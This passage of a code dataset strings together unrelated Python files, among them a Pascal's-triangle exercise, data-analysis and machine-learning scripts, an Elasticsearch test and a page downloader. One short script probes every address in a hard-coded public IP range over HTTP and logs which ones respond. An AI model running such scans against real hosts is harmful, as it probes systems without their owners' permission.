#因为如果是从2开始则需要减一不然就有两个取值了 不对 应该只有一个取值 就是取a的元素为1来作为元素2的运算基数\n for j in range(i-1): #让它的循环次数再减一 目的是从第一个新的元素开始每次循环都是上次元素总数减一个 这样才能构成三角\n val=pre[j]+pre[j+1] #这个val的取值是一个个数 是pre列表里面的元素的运算得出的值\n b.append(val) # 将val循环之后的计算出的得数追加到b里面 这里为什么不用insert 和remvoe呢 因为列表大了之后不好运算 对于内存消耗较大 所以最好不用 而追加则是很方便的\n b.append(1) #将循环之后的列表最后再加一 这个是最外层的一\n a.append(b) #将b的整个列表作为元素追加到a这个大列表中去 这个是列表套列表的方法\nprint(a) #最后输出a\n\n\n\n#关于杨辉三角的学习第一遍:\n#这个时候i的取值直接影响到了列表的循环次数 每次取值都是一次列表的总数 这样后面的取值就是上次的所有的相加了 不懂得则多写几遍\n# -*- coding: utf-8 -*- #这是指定万国语言支持中文 基于三元表达式打印菱形\nn=6\nprint([1])\npre=[1,1]\nprint(pre)\nfor i in range(2,n):\n b=[1]\n for j in range(i-1):\n val=pre[j]+pre[j+1]\n b.append(val)\n b.append(1)\n print(b)\n pre=b #将pre替换为b 这样下次再打印的时候又可以和它一样了\n#这里用到的是列表加数值转换 像以前的斐波那数列一样\n# -*- coding: UTF-8 -*-\n#打印杨辉三角\nn=int(input(\"您想打印多少次杨慧三角:\"))\nx=[1]\nprint(x)\ny=[1,1]\nprint(y)\nfor i in range(2,n):\n b=[1]\n for j in range(i-1):\n pre=y[j]+y[j+1]\n b.append(pre)\n b.append(1)\n print(b)\n y=b\n \n","sub_path":"P17056-王稷春/learn/杨辉三角入门.py","file_name":"杨辉三角入门.py","file_ext":"py","file_size_in_byte":2095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"182054709","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport sqlite3\nimport sklearn\nimport scipy\n\n#sklearn modules for classification\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.svm import SVC\nfrom sklearn.neural_network import MLPClassifier\nfrom sklearn.cluster import KMeans\nfrom sklearn.model_selection import train_test_split\nfrom mpl_toolkits.mplot3d import Axes3D\nfrom scipy.stats import linregress\n\nimport matplotlib.image as mpimg\n\ndatabase = \"/Users/rebeccazuo/Desktop/cs1951a-final/all_data.db\"\n\nnumberOfSamples = 1832\n#method that performs kmeans clustering algorithm\n\n\nconnection = sqlite3.connect(\"all_data.db\")\ncursor = connection.cursor()\ncursor.execute(\"SELECT edTech.dist_size, edTech.urb, edTech.region, edTech.totalComputers, edTech.training, edTech.integration FROM edTech;\")\nresults = cursor.fetchall()\nsizeA = []\ndistrict = []\nregion = []\ntraining = []\nintegration = []\ncomputers = []\ndependentVariables = []\ncombinedA =[]\naverageComputer = np.zeros(16)\naverageTraining = np.zeros(16)\ncount1,count2,count3,count4,count5 = 0,0,0,0,0\ncount6,count7,count8,count9,count10 = 0,0,0,0,0\ncount11,count12,count13,count14,count15,count16 = 0,0,0,0,0,0\n#TODO JOIN ON SOME ATTRIBUTES, ALSO TRY USING DECISION TREE AND OTHER CLASSIFIERS\nfor r in results:\n size = r[0]\n urban1 = r[1]\n region1 = r[2]\n computers.append(r[3])\n training.append(r[4])\n integration.append(r[5])\n\t#a combined column for everything\n if (urban1 == 1 and region1 == 1):\n\t combined = 1\n\t averageComputer[0] += r[3]\n\t averageTraining[0] += r[4]\n\t count1 +=1\n if(urban1 == 1 and region1 == 2):\n\t combined = 2\n\t averageComputer[1] += r[3]\n\t averageTraining[1] += r[4]\n\t count2 +=1\n if(urban1 == 1 and region1 == 3):\n\t combined = 3\n\t averageComputer[2] += r[3]\n\t averageTraining[2] += r[4]\n\t count3 +=1\n if(urban1 == 1 and region1 == 4):\n\t combined = 4\n\t averageComputer[3] += r[3]\n\t averageTraining[3] += r[4]\n\t count4 +=1\n if(urban1 == 2 and region1 == 1):\n\t combined = 5\n\t averageComputer[4] += r[3]\n\t averageTraining[4] += r[4]\n\t count5 +=1\n if(urban1 == 2 and region1 == 2):\n\t combined = 6\n\t averageComputer[5] += r[3]\n\t averageTraining[5] += r[4]\n\t count6 +=1\n if(urban1 == 2 and region1 == 3):\n\t combined = 7\n\t averageComputer[6] += r[3]\n\t averageTraining[6] += r[4]\n\t count7 +=1\n if(urban1 == 2 and region1 == 4):\n\t combined = 8\n\t averageComputer[7] += r[3]\n\t averageTraining[7] += r[4]\n\t count8 +=1\n if(urban1 == 3 and region1 == 1):\n\t combined = 9\n\t averageComputer[8] += r[3]\n\t averageTraining[8] += r[4]\n\t count9 +=1\n if(urban1 == 3 and region1 == 2):\n\t combined = 10\n\t averageComputer[9] += r[3]\n\t averageTraining[9] += r[4]\n\t count10 +=1\n if(urban1 == 3 and region1 == 3):\n\t combined = 11\n\t averageComputer[10] += r[3]\n\t averageTraining[10] += r[4]\n\t count11 +=1\n if(urban1 == 3 and region1 == 4):\n\t combined = 12\n\t averageComputer[11] += r[3]\n\t averageTraining[11] += r[4]\n\t count12 += 1\n if(urban1 == 4 and region1 == 1):\n\t combined = 13\n\t averageComputer[12] += r[3]\n\t averageTraining[12] += r[4]\n\t count13+=1\n if(urban1 == 4 and region1 == 2):\n\t combined = 14\n\t averageComputer[13] += r[3]\n\t averageTraining[13] += r[4]\n\t count14 += 1\n if(urban1 == 4 and region1 == 3):\n\t combined = 15\n\t averageComputer[14] += r[3]\n\t averageTraining[14] += r[4]\n\t count15 += 1\n if(urban1 == 4 and region1 == 4):\n\t combined = 16\n\t averageComputer[15] += r[3]\n\t averageTraining[15] += r[4]\n\t count16 += 1\n combinedA.append(combined)\n sizeA.append(size)\n averageComputer = np.array(averageComputer)\n counter = np.array([count1,count2,count3,count4,count5,count6,count7,count8,count9,count10,count11,count12,count13,count14,count15,count16])\nres= np.zeros(len(averageComputer))\nres1 = np.zeros(len(averageComputer))\nfor i in range(0,len(averageComputer)):\n res[i] = float(averageComputer[i])/float(counter[i])\n res1[i] = float(averageTraining[i])/float(counter[i])\nobjects = np.arange(1,17)\n\n\n# make a bar graph\nplt.bar(objects, res, align='center', alpha=0.5)\nplt.xticks(objects)\nplt.ylabel('Average Number of Computers')\nplt.xlabel('Region 1-16')\nplt.title('Average Computers per Region')\nplt.show()\n\n\ny = computers\nx = combinedA\n\nplt.scatter(x, y, c='BLUE', alpha=0.5)\nplt.show()\n\n\n#first perform clustering on size, district, region on training and integration => 4 different labels\n#independent variable\ndependentVariables = np.vstack((training,integration,computers)).reshape((2970,3))\nprint(np.shape(dependentVariables))\n\nX = np.array(list(dependentVariables))\ny = np.array(list(combinedA))\n\n# Run a linear regression\ndef linearRegression(data,dependent):\n x = np.array(data)\n y = np.array(dependent)\n fit = np.polyfit(x, y,1)\n fit_fn = np.poly1d(fit)\n slope, intercept, r_value, p_value, std_err = scipy.stats.linregress(x,y)\n print(slope,intercept,r_value, p_value)\n\n plt.plot(x,y, 'yo', x, fit_fn(x), '--k')\n\n\n# Doesn't seem to have a linear correlation\n#linearRegression(size,computers)\n#0.18698082606798605 3.132266376876023 0.07351926672251217 0.026076530423758643\n\n#linearRegression(district,computers)\n# -0.15786110611314022 4.027203983680139 -0.06019585266619635 0.06860367939016074\n\n#linearRegression(region,computers)\n#-0.20649747118057157 4.167950061511824 -0.0805293223620027 0.014773195696497538\n\n\n#split the data\nX_train, X_test, y_train, y_test = train_test_split(\n\t\tX,\n\t\ty,\n\t\ttest_size = 0.1 ,\n\t\trandom_state = 0,\n\t\tshuffle = True\n\t)\n\n#need to also determine the number of clusters to use\ndef cluster(data, num_clusters = 16):\n k_means = KMeans(n_clusters=num_clusters, random_state=0)\n # TODO: Use k_means to cluster the documents and return the clusters and centers\n k_means.fit(data)\n return k_means.labels_, k_means.cluster_centers_\n\ndef plot_clusters(features, clusters, centers):\n\t\"\"\"\n\tUses matplotlib to plot the clusters of documents\n\n\tArgs:\n\t\tdocument_topics: a dictionary that maps document IDs to topics.\n\t\tclusters: the predicted cluster for each document.\n\t\tcenters: the coordinates of the center for each cluster.\n\t\"\"\"\n\ttopics = np.array([x for x in features])\n\ttopics = np.reshape(topics, (2970,3))\n\ttraining = []\n\tintegration = []\n\tcomputers = []\n\n\tfor row in topics[:1500]:\n\t\ttraining.append(row[0])\n\t\tintegration.append(row[1])\n\t\tcomputers.append(row[2])\n\n\tax = plt.figure().add_subplot(111, projection='3d')\n #why is this not working?\n\tax.scatter(list(training), list(integration), list(computers), c= 'blue', alpha=0.3) # Plot the documents\n\t#ax.scatter(centers[:, 0], centers[:, 1], centers[:, 2],c='black', alpha=1) # Plot the centers\n\tax.set_xlabel(\"training\")\n\tax.set_ylabel(\"integration\")\n\tax.set_zlabel(\"number of computers\")\n\tplt.title(\"Training vs. Integration vs. Number of Computers\")\n\t# ax.set_xlim3d(0,4)\n\t# ax.set_ylim3d(0,4)\n\t# ax.set_zlim3d(0,40)\n\tplt.tight_layout()\n\tplt.show()\n\nLABEL_COLOR_MAP = {1 : 'yellow',\n 2 : 'orange',\n 3 : 'Blue',\n 4 : 'Red',\n 5 : 'yellow',\n 6 : 'orange',\n 7 : 'Blue',\n 8 : 'Red',\n 9 : 'yellow',\n 10 : 'orange',\n 11 : 'Blue',\n 12 : 'Red',\n 13 : 'yellow',\n 14 : 'orange',\n 15 : 'Blue',\n 16 : 'Red'\n }\n\nlabel_color = [LABEL_COLOR_MAP[l] for l in y]\ndef plot_actual(features,labels):\n\n topics = np.array([x for x in features])\n\n ax = plt.figure().add_subplot(111, projection='3d')\n ax.scatter(topics[:, 0], topics[:, 1], topics[:, 2], c='Blue', alpha=0.3) # Plot the documents\n ax.scatter(centers[:, 0], centers[:, 1], centers[:, 2],c='black', alpha=1) # Plot the centers\n ax.set_xlabel(\"training\")\n ax.set_ylabel(\"integration\")\n ax.set_zlabel(\"number of computers\")\n plt.tight_layout()\n plt.show()\n\n#created clusters based on three dependent variables size, district and region\nclusters, centers = cluster(X)\nplot_clusters(X, clusters, centers)\n\n#plot_actual(X, y)\n#print(centers)\n\n# Results : these demonstrate approximately where the four different labels for integration should be placed, see\n# if there is any pattern with these results. Does not seem to demonstrate a relationship with all three.\n# [[1.46464646 3.57575758 2.86868687]\n#[3.36466165 2.73308271 1.42105263]\n#[1.79807692 1.39423077 2.71153846]\n#[3.6557377 2.70491803 3.61885246]]\n\n\n#size on integration and training\n# [[2.70810811 1.36756757 2.92432432 2.25945946 2.50810811]\n# [1.5326087 3.30434783 2.94021739 3.07065217 3.11956522]\n# [3.36312849 3.18994413 1.8547486 2.6424581 1.96648045]\n# [3.56521739 3.44293478 3.48913043 3.3423913 3.45380435]]\n\n# dist on integration and training\n# [[2.70810811 1.36756757 2.92432432 2.25945946 2.50810811]\n# [1.5326087 3.30434783 2.94021739 3.07065217 3.11956522]\n# [3.36312849 3.18994413 1.8547486 2.6424581 1.96648045]\n# [3.56521739 3.44293478 3.48913043 3.3423913 3.45380435]]\n\n# region on integration and training\n# [[2.70810811 1.36756757 2.92432432 2.25945946 2.50810811]\n# [1.5326087 3.30434783 2.94021739 3.07065217 3.11956522]\n# [3.36312849 3.18994413 1.8547486 2.6424581 1.96648045]\n# [3.56521739 3.44293478 3.48913043 3.3423913 3.45380435]]\n\n\ncursor.close()\nconnection.close()\n","sub_path":"data_edtech_access/edtech/analyzeData.py","file_name":"analyzeData.py","file_ext":"py","file_size_in_byte":9570,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"470966838","text":"from pylastica.query import Query\nfrom pylastica.aggregation.min import Min\nfrom pylastica.aggregation.nested import Nested\nfrom pylastica.doc_type.mapping import Mapping\nfrom pylastica.document import Document\nfrom tests.base import Base\n\n__author__ = 'Joe Linn'\n\nimport unittest\n\n\nclass NestedTest(unittest.TestCase, Base):\n def setUp(self):\n super(NestedTest, self).setUp()\n self._index = self._create_index(\"test_aggregation_nested\")\n mapping = Mapping()\n mapping.set_properties({\n \"resellers\": {\n \"type\": \"nested\",\n \"properties\": {\n \"name\": {\"type\": \"string\"},\n \"price\": {\"type\": \"double\"}\n }\n }\n })\n doc_type = self._index.get_doc_type(\"test\")\n doc_type.mapping = mapping\n docs = [\n Document(1, {\n \"resellers\": {\n \"name\": \"spacely sprockets\",\n \"price\": 5.55\n }\n }),\n Document(2, {\n \"resellers\": {\n \"name\": \"cogswell cogs\",\n \"price\": 4.98\n }\n })\n ]\n doc_type.add_documents(docs)\n self._index.refresh()\n\n def tearDown(self):\n super(NestedTest, self).tearDown()\n self._index.delete()\n\n def test_nested_aggregation(self):\n agg = Nested(\"resellers\", \"resellers\")\n agg.add_aggregation(Min(\"min_price\").set_field(\"price\"))\n\n query = Query()\n query.add_aggregation(agg)\n results = self._index.search(query).aggregations['resellers']\n\n self.assertEqual(4.98, results['min_price']['value'])\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/aggregation/test_nested.py","file_name":"test_nested.py","file_ext":"py","file_size_in_byte":1762,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"200224067","text":"import pysound\nimport numpy as np\nimport instruments.guitar\nfrom matplotlib import pyplot as plt\nfrom matplotlib.animation import FuncAnimation as animate\nimport scipy.io.wavfile\n\ndef read(file):\n rate, data = scipy.io.wavfile.read(file)\n print(\n \"scipy.io.wavfile.read(\" + file + \") -> \" \n + str(rate) + \" Hz, \" + \n str(data.shape)\n )\n return data[:,0] + data[:,1]\n\nguitar = instruments.guitar.Guitar()\npluck = guitar.pluck(2.8,3,0)\nideal = read(\"ideal.wav\")\n\nif len(pluck) > len(ideal):\n n = len(ideal)\n pluck = pluck[0:n]\nelse:\n n = len(pluck)\n ideal = ideal[0:n]\n\nmuh = 0.1\neps = 500\nmse = 2*eps\np = 1000\nh = np.zeros((p))\nerr = np.zeros((n))\n\nfor i in range(p,n):\n x = np.flip(pluck[i-p:i])\n mu = muh/(0.001 + np.dot(x.T,x))\n e = ideal[i] - np.dot(h.T,x)\n h = h + mu*e*x\n err[i] = np.log(e*e)\n\nh = np.flip(h)\nplt.plot(err)\nplt.show()\nplt.psd(h)\nplt.show()\n\nf = open('body.txt','w')\nfor num in h:\n f.write(\"{}\\n\".format(num))\nf.close()","sub_path":"instruments/string/lms.py","file_name":"lms.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"165796764","text":"# !/usr/bin/python\n# -*- coding: utf-8 -*-\n# author: KOBEXFFX\n# Python 2.7.11\n# DOWNLOAD HTML PAGES FROM BAIDU TIEBA\n#====================import packages=========================\nimport urllib\n#====================define global vars======================\nhttp = 'http://tieba.baidu.com/p/100000000'\nurls = [http + str(i) for i in range(10)]\npath = './HTML/'\n#====================define functions========================\ndef downloadHtml(url):\n f = urllib.urlopen(url)\n data = f.read()\n page = open(path+url[-10:] + '.html','wb')\n page = page.write(data)\n\ndef main():\n for url in urls:\n downloadHtml(url)\n\n#====================execute program=========================\nif __name__ == '__main__':\n main()","sub_path":"PythonApplication1/scripts/download_Html.py","file_name":"download_Html.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"184662271","text":"'''\nQ3.3:\n 1. Load point correspondences\n 2. Obtain the correct M2\n 3. Save the correct M2, C2, and P to q3_3.npz\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport helper\nimport submission\n\nim1 = plt.imread('../data/im1.png')\nim2 = plt.imread('../data/im2.png')\nM = np.max(im1.shape)\n\npts = np.load('../data/some_corresp.npz')\npts1 = pts['pts1']\npts2 = pts['pts2']\n\nK = np.load('../data/intrinsics.npz')\nK1 = K['K1']\nK2 = K['K2']\n# print(K1.shape)\n\nF = submission.eightpoint(pts1, pts2, M)\nE = submission.essentialMatrix(F, K1, K2)\n\nM1 = np.eye(3)\nM1 = np.hstack((M1, np.zeros((3, 1))))\nM2_all = np.zeros((3, 4, 4))\n# print(M2_all)\nM2_all = helper.camera2(E)\n\nC1 = np.dot(K1, M1)\ncur_err = np.inf\n\nfor i in range(M2_all.shape[2]):\n\tC2 = np.dot(K2, M2_all[:, :, i])\n\tw, err = submission.triangulate(C1, pts1, C2, pts2)\n\n\tif err < cur_err:\n\t\tcur_err = err\n\t\tM2 = M2_all[:, :,i]\n\t\tC2_opt = C2\n\t\tw_opt = w\n\nnp.savez('q3_3.npz', M2 = M2, C2 = C2_opt, P = w_opt)","sub_path":"hw4/python/findM2.py","file_name":"findM2.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"548135299","text":"\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.utils.data.dataloader as dataloader\nimport torch.optim as optim\nfrom torch.utils.data import Dataset, DataLoader, TensorDataset\n\nimport torchvision\nimport torchvision.transforms as tf\nimport torchvision.datasets as datasets\n\nimport pickle\nimport random\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport time\nfrom IPython.display import clear_output\nfrom copy import deepcopy\n\nGPU_indx = 0\ndevice = torch.device(GPU_indx if torch.cuda.is_available() else 'cpu')\n\n\ndef unpickle(file):\n with open(file, 'rb') as fo:\n dict = pickle.load(fo, encoding='bytes')\n return dict\n\n\nclass CIFAR100Multiclass(Dataset):\n \"\"\"\n Dataset containing nclasses classes, chosen randomly form input data\n \"\"\"\n def __init__(self, data, classes, transforms=None):\n self.nclasses = len(classes)\n self.transforms = transforms\n self.size = self.nclasses * data.shape[1]\n self.permute = np.random.permutation(self.size)\n\n self.classes = classes\n self.images = np.float32(data[classes].reshape(self.size, 32, 32, 3).transpose(0, 3, 1, 2)[self.permute])/1.0\n self.labels = np.repeat(np.arange(self.nclasses), data.shape[1])[self.permute]\n\n def __len__(self):\n return self.size\n\n def __getitem__(self, idx):\n if torch.is_tensor(idx):\n idx = idx.tolist()\n sample = self.images[idx, :]\n label = self.labels[idx]\n if self.transforms:\n sample = self.transforms(sample)\n return sample, label\n\n\n# Models\n\nclass SmallModel(nn.Module):\n def __init__(self, nkernels, nclasses):\n super(SmallModel, self).__init__()\n self.nkernels = nkernels\n self.nclasses = nclasses\n self.kernel_size = 5\n\n self.conv1 = nn.Conv2d(3, nkernels, kernel_size=kernel_size, padding=2, bias=False)\n self.conv2 = nn.Conv2d(nkernels, 2*nkernels, kernel_size=5)\n self.pool1 = nn.MaxPool2d(kernel_size=2)\n self.conv3 = nn.Conv2d(2*nkernels, 2*nkernels, kernel_size=5)\n self.gap = nn.AvgPool2d(10)\n self.fc = nn.Linear(2*nkernels, nclasses)\n\n def init_genome(self, data):\n self.conv1.weight = torch.nn.Parameter(data)\n\n def forward(self, x):\n x = F.relu(self.conv1(x))\n x = F.relu(self.conv2(x))\n x = self.pool1(x)\n x = F.relu(self.conv3(x))\n x = torch.squeeze(self.gap(x))\n x = self.fc(x)\n return x\n\n\nclass SmallerModel(nn.Module):\n def __init__(self, nkernels, nclasses):\n super(SmallerModel, self).__init__()\n self.nkernels = nkernels\n self.nclasses = nclasses\n self.kernel_size = 5\n\n self.conv1 = nn.Conv2d(3, nkernels, kernel_size=kernel_size, padding=2, bias=False)\n self.pool = nn.MaxPool2d(kernel_size=2)\n self.conv2 = nn.Conv2d(nkernels, 2*nkernels, kernel_size=5)\n self.gap = nn.AvgPool2d(12)\n self.fc = nn.Linear(2*nkernels, nclasses)\n\n def init_genome(self, data):\n self.conv1.weight = torch.nn.Parameter(data)\n\n def forward(self, x):\n x = F.relu(self.conv1(x))\n x = self.pool(x)\n x = F.relu(self.conv2(x))\n x = torch.squeeze(self.gap(x))\n x = self.fc(x)\n return x\n\n\nclass SmallestModel(nn.Module):\n def __init__(self, nkernels, nclasses):\n super(SmallestModel, self).__init__()\n self.nkernels = nkernels\n self.nclasses = nclasses\n self.kernel_size = 5\n\n self.conv1 = nn.Conv2d(3, nkernels, kernel_size=kernel_size, padding=2, bias=False)\n self.pool = nn.MaxPool2d(kernel_size=2)\n self.conv2 = nn.Conv2d(nkernels, nkernels//2, kernel_size=5)\n self.gap = nn.AvgPool2d(12)\n self.fc = nn.Linear(nkernels//2, nclasses)\n\n def init_genome(self, data):\n self.conv1.weight = torch.nn.Parameter(data)\n\n def genome(self):\n return self.conv1.weight.data\n\n def forward(self, x):\n x = F.relu(self.conv1(x))\n x = self.pool(x)\n x = F.relu(self.conv2(x))\n x = torch.squeeze(self.gap(x))\n x = self.fc(x)\n return x\n\n\n\n#\n# Crap i copied from other projects\n#\n\n\ndef train_epoch(model, loader, loss_func, optimizer, loss_logger):\n model.train()\n correct = 0\n total = 0\n for i, (data, target) in enumerate(loader):\n target = target.long()\n output = model(data.to(device))\n _, predicted = torch.max(output, 1)\n correct += (predicted == target.to(device)).sum().item()\n total += target.shape[0]\n loss = loss_func(output, target.to(device))\n\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n\n loss_logger.append(loss.item())\n\n return loss_logger, (correct / total) * 100.0\n\n\ndef test_model(model, loader, loss_func, loss_logger):\n model.eval()\n with torch.no_grad():\n correct = 0\n total = 0\n for data, target in loader:\n target = target.long()\n output = model(data.to(device))\n _, predicted = torch.max(output, 1)\n correct += (predicted == target.to(device)).sum().item()\n total += target.shape[0]\n\n loss = loss_func(output, target.to(device))\n loss_logger.append(loss.item())\n\n return loss_logger, (correct / total) * 100.0\n\n\n# Rough work\n\n# Testing code, delete later\nmetadata = unpickle('cifar-100-python/meta')\nlegend = metadata[b'fine_label_names']\ntrain_data = unpickle('cifar-100-python/train_sort')\ntest_data = unpickle('cifar-100-python/test_sort')\n\nthe_nclasses = 4\nthe_classes = np.array(random.sample(range(100), the_nclasses))\n\ntrain_set = CIFAR100Multiclass(train_data[:, :400], classes=the_classes)\ntest_set = CIFAR100Multiclass(test_data, classes=the_classes)\ntrain_loader = torch.utils.data.DataLoader(train_set, batch_size=50)\ntest_loader = torch.utils.data.DataLoader(test_set, batch_size=100)\n\nbleh_network = SmallestModel(32, the_nclasses).to(device)\n\nloss_func = nn.CrossEntropyLoss()\nlr = 1e-3\nnepochs = 50\noptimizer = optim.Adam(bleh_network.parameters(), lr)\n\ntrain_loss, train_acc = [], []\ntest_loss, test_acc = [], []\n\nfor i in range(nepochs):\n print(\"Epoch: [%d/%d]\" % (i + 1, nepochs))\n\n epoch_loss = []\n epoch_loss, acc = train_epoch(bleh_network, train_loader, loss_func, optimizer, epoch_loss)\n train_loss.append(sum(epoch_loss) / len(epoch_loss))\n train_acc.append(acc)\n\n epoch_loss = []\n _, acc = test_model(bleh_network, test_loader, loss_func, epoch_loss)\n test_loss.append(sum(epoch_loss) / len(epoch_loss))\n test_acc.append(acc)\n\n\nplt.figure(figsize = (16, 3))\n\nplt.subplot(1,2,1)\nplt.plot(train_loss)\nplt.title('Model Loss On Training Dataset Per Epoch')\nplt.xlabel('Epoch')\nplt.ylabel('Training data loss')\n\nplt.subplot(1,2,2)\nplt.plot(test_loss)\nplt.title('Model Loss On Testing Dataset Per Epoch')\nplt.xlabel('Epoch')\nplt.ylabel('Testing data loss')\n\nplt.show()\n\nplt.figure(figsize = (16, 3))\n\nplt.subplot(1,2,1)\nplt.plot(train_acc)\nplt.title('Model Accuracy On Training Dataset')\nplt.xlabel('Epoch')\nplt.ylabel('Training data Accuracy')\n\nplt.subplot(1,2,2)\nplt.plot(test_acc)\nplt.title('Model Accuracy On Testing Dataset')\nplt.xlabel('Epoch')\nplt.ylabel('Testing data Accuracy')\n\nplt.show()\n\n# Now train another network with the same first layer as the parent network, frozen\n\nchild_network = SmallestModel(32, the_nclasses).to(device)\nchild_network.init_genome(bleh_network.genome())\nchild_network.conv1.weight.requires_grad = False\nprint(child_network.genome()[0])\nprint(child_network.fc.weight.data)\n\nthe_classes2 = np.array(random.sample(range(100), the_nclasses))\n\ntrain_set2 = CIFAR100Multiclass(train_data[:, :400], classes=the_classes2)\ntest_set2 = CIFAR100Multiclass(test_data, classes=the_classes2)\ntrain_loader2 = torch.utils.data.DataLoader(train_set, batch_size=50)\ntest_loader2 = torch.utils.data.DataLoader(test_set, batch_size=100)\n\noptimizer2 = optim.Adam(filter(lambda p: p.requires_grad, child_network.parameters()), lr)\n\ntrain_loss2, train_acc2 = [], []\ntest_loss2, test_acc2 = [], []\n\nfor i in range(nepochs):\n print(\"Epoch: [%d/%d]\" % (i + 1, nepochs))\n\n epoch_loss = []\n epoch_loss, acc = train_epoch(child_network, train_loader2, loss_func, optimizer2, epoch_loss)\n train_loss2.append(sum(epoch_loss) / len(epoch_loss))\n train_acc2.append(acc)\n\n epoch_loss = []\n _, acc = test_model(child_network, test_loader2, loss_func, epoch_loss)\n test_loss2.append(sum(epoch_loss) / len(epoch_loss))\n test_acc2.append(acc)\n\nprint(child_network.genome()[0])\nprint(child_network.fc.weight.data)\n\nplt.figure(figsize = (16, 3))\n\nplt.subplot(1,2,1)\nplt.plot(train_loss2)\nplt.title('Model Loss On Training Dataset Per Epoch')\nplt.xlabel('Epoch')\nplt.ylabel('Training data loss')\n\nplt.subplot(1,2,2)\nplt.plot(test_loss2)\nplt.title('Model Loss On Testing Dataset Per Epoch')\nplt.xlabel('Epoch')\nplt.ylabel('Testing data loss')\n\nplt.show()\n\nplt.figure(figsize = (16, 3))\n\nplt.subplot(1,2,1)\nplt.plot(train_acc2)\nplt.title('Model Accuracy On Training Dataset')\nplt.xlabel('Epoch')\nplt.ylabel('Training data Accuracy')\n\nplt.subplot(1,2,2)\nplt.plot(test_acc2)\nplt.title('Model Accuracy On Testing Dataset')\nplt.xlabel('Epoch')\nplt.ylabel('Testing data Accuracy')\n\nplt.show()","sub_path":"Model_Test.py","file_name":"Model_Test.py","file_ext":"py","file_size_in_byte":9315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"439194815","text":"import urllib.request\nimport requests\n\nD1 = \"178\"\nD2 = \"34\"\nD3 = \"187\"\n\nIP = D1+'.'+D2+'.'+D3+'.'\n\nfile = open(IP+\"txt\",\"w\")\n\nfor i in range(0,256):\n\ttry:\n\t\tIP = D1+'.'+D2+'.'+D3+'.'+str(i)\n\t\t#urllib.request.urlopen(\"http://\"+IP).getcode()\n\t\trequests.head(\"http://\"+IP,timeout=0.05)\n\t\tprint(IP)\n\t\tfile.write(IP+\"\\n\")\n\t\t#print(\"true\")\n\texcept:\n\t\tprint(\"\t\tStatus Web - off \"+IP)\nfile.close()\ninput()\n","sub_path":"Python/Scripts/Check Web/Check Web(Range) — копия.py","file_name":"Check Web(Range) — копия.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"616678573","text":"from itertools import groupby\n\nimport matplotlib\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n#Import mode function:\nfrom scipy.stats import mode\nfrom sklearn.preprocessing import LabelEncoder\n'''\nfrom sklearn import cross_validation, metrics\ncross_validation is deprecated\n'''\nfrom sklearn.model_selection import cross_validate\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn import metrics\n\n#%matplotlib inline\nfrom statsmodels.compat import numpy\n\n'exec(%matplotlib inline)'\nimport warnings # Ignores any warning\n\nfrom matplotlib.pyplot import figure\n\nwarnings.filterwarnings(\"ignore\")\n\ntrain = pd.read_csv(\"data/Train.csv\")\ntest = pd.read_csv(\"data/Test.csv\")\n\n# Graph data constants\ngraph_index = 1\nimg_ext = '.png'\nheatmap_img_type_ref = 'heatmap_'\nhistogram_img_type_ref = 'histogram_'\n\n##\n\nprint(\"** Columns info **\")\nprint(train.columns)\nprint(\"** Head info **\")\nprint(train.head())\nprint(\"** Info **\")\nprint(train.info())\nprint(\"** Describe data **\")\nprint(train.describe())\n\n# Check for duplicates\nprint(\"** Check for duplicates **\")\nidsUnique = len(set(train.Item_Identifier))\nidsTotal = train.shape[0]\nidsDupli = idsTotal - idsUnique\nprint(\"There are \" + str(idsDupli) + \" duplicate IDs for \" + str(idsTotal) + \" total entries\")\n\nprint(\"** Exploratory Data Analysis (EDA)\")\nprint(\"*** Univariate Distribution\")\nprint(\"*** Distribution of the target variable : Item_Outlet_Sales\")\n#plt.style.use('fivethirtyeight')\nplt.figure(figsize=(12,7))\nsns.distplot(train.Item_Outlet_Sales, bins = 25)\nplt.ticklabel_format(style='plain', axis='x', scilimits=(0,1))\nplt.xlabel(\"Item_Outlet_Sales\")\nplt.ylabel(\"Number of Sales\")\nplt.title(\"Item_Outlet_Sales Distribution\")\n# Important note: to save picture file, first use savefig() method and then use show() to show graph.\n#print(\"Graph index: \" + graph_index)\nprint( \"{} - {}\".format(\"Graph index: \", graph_index) )\nplt.savefig('data/fig_1.png')\nplt.show()\n# Python not use this operator (++): graph_index++\ngraph_index += 1\n# print(\"Graph index increment: \" + graph_index)\nprint(\"{} - {}\".format(\"Graph index increment: \", graph_index) )\nplt.savefig('data/fig_' + str(graph_index) + '.png')\n\n# Skew and kurtosis\nprint(\"** Skew and kurtosis\")\nprint (\"Skew is:\", train.Item_Outlet_Sales.skew())\nprint(\"Kurtosis: %f\" % train.Item_Outlet_Sales.kurt())\n\n# Print numeric datatypes\nprint(\"** Numeric datataypes\")\nnumeric_features = train.select_dtypes(include=[np.number])\nnumeric_features.dtypes\nprint(numeric_features.dtypes)\n#plt.matshow(numeric_features.dtypes)\n#plt.show()\n#\ncorr = numeric_features.corr()\nprint(numeric_features.corr())\nplt.matshow(numeric_features.corr())\nplt.show()\n\n# plot correlation matrix\nfig = 